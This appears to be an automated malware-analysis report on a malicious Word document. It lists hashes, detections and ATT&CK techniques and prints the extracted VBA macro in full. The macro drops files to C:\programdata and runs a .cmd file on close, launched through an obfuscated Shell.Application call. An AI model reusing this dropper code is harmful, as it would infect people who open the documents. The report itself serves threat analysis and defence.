Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c3a8a33e65ea3b48…

MALICIOUS

Office (OOXML)

183.9 KB Created: 2020-06-15 11:17:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-09-18
MD5: f171323ed85ccb9e08d43691a4a39f62 SHA-1: d7815747d9213cd010fabec760b8a6f4e5538e42 SHA-256: c3a8a33e65ea3b485b4e585a68e2eb596009795ccba2a212b9fa6057a2894983
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The macro code, specifically the `Document_Close` subroutine, writes obfuscated strings to two files in `C:\programdata`: `4a921324a65f3c287bb7675fb5.crt` and `jhfd6g89ed54f8d09guf6f8g.cmd`. The `GetObject` call with a constructed string suggests the execution of a second-stage payload. The ClamAV detection `Doc.Dropper.HexEncodedEXEHeader-9789587-1` further supports the dropper functionality.

Heuristics 4

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1892 bytes
SHA-256: 20c540ebf0ca029d7373ca801c0763163d91dcfa073bbe20e35037ec4205d680
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ferkigo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "BUKIP, 1, 0, MSForms, OptionButton"
Attribute VB_Control = "Ters, 0, 1, MSForms, OptionButton"




Public G, strTemp$, strReturn$, Biola$, CurFolder$, saveFolder

Private Tijd




 Private Sub Document_Close()

saveFolder = "C:\programdata"

Biola = Ferkigo.BUKIP.GroupName


Ver_ri = saveFolder & "\4a921324a65f3c287bb7675fb5.crt"
Open Ver_ri For Output As #1
Print #1, Biola
Close #1

   Tijd = Timer()
   While Timer() - Tijd < 1
   DoEvents
   Wend
   
   Fipolas = Ferkigo.Ters.GroupName
   
Rolase = saveFolder & "\jhfd6g89ed54f8d09guf6f8g.cmd"
Open Rolase For Output As #1
Print #1, Fipolas
Close #1


   Tijd = Timer()
   While Timer() - Tijd < 1
   DoEvents
   Wend
   
Dim obj3
Set obj3 = GetObject(Chr$(110) + Chr$(101) + Chr$(119) + Chr$(58) + Chr$(49) + Chr$(51) + Chr$(55) + Chr$(48) _
 + Chr$(57) + Chr$(54) + Chr$(50) + Chr$(48) + Chr$(45) + Chr$(67) + Chr$(50) + Chr$(55) + Chr$(57) _
 + Chr$(45) + Chr$(49) + Chr$(49) + Chr$(67) + Chr$(69) + Chr$(45) + Chr$(65) + Chr$(52) + Chr$(57) _
 + Chr$(69) + Chr$(45) + Chr$(52) + Chr$(52) + Chr$(52) + Chr$(53) + Chr$(53) + Chr$(51) + Chr$(53) _
 + Chr$(52) + Chr$(48) + Chr$(48) + Chr$(48) + Chr$(48))
    Tijd = Timer()
   While Timer() - Tijd < 1
   DoEvents
   Wend
      Tijd = Timer()
   While Timer() - Tijd < 1
   DoEvents
   Wend
      Tijd = Timer()
   While Timer() - Tijd < 1
   DoEvents
   Wend
      Tijd = Timer()
   While Timer() - Tijd < 1
   DoEvents
   Wend

   
   
 obj3.ShellExecute Rolase, 0, 0, "open", 0

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 31a7b90c5fac7b12680b449aeb1e1116cf36f4fc4f92387e8dcedd38663027a2

Open this report in the interactive analyzer, or submit your own file for analysis.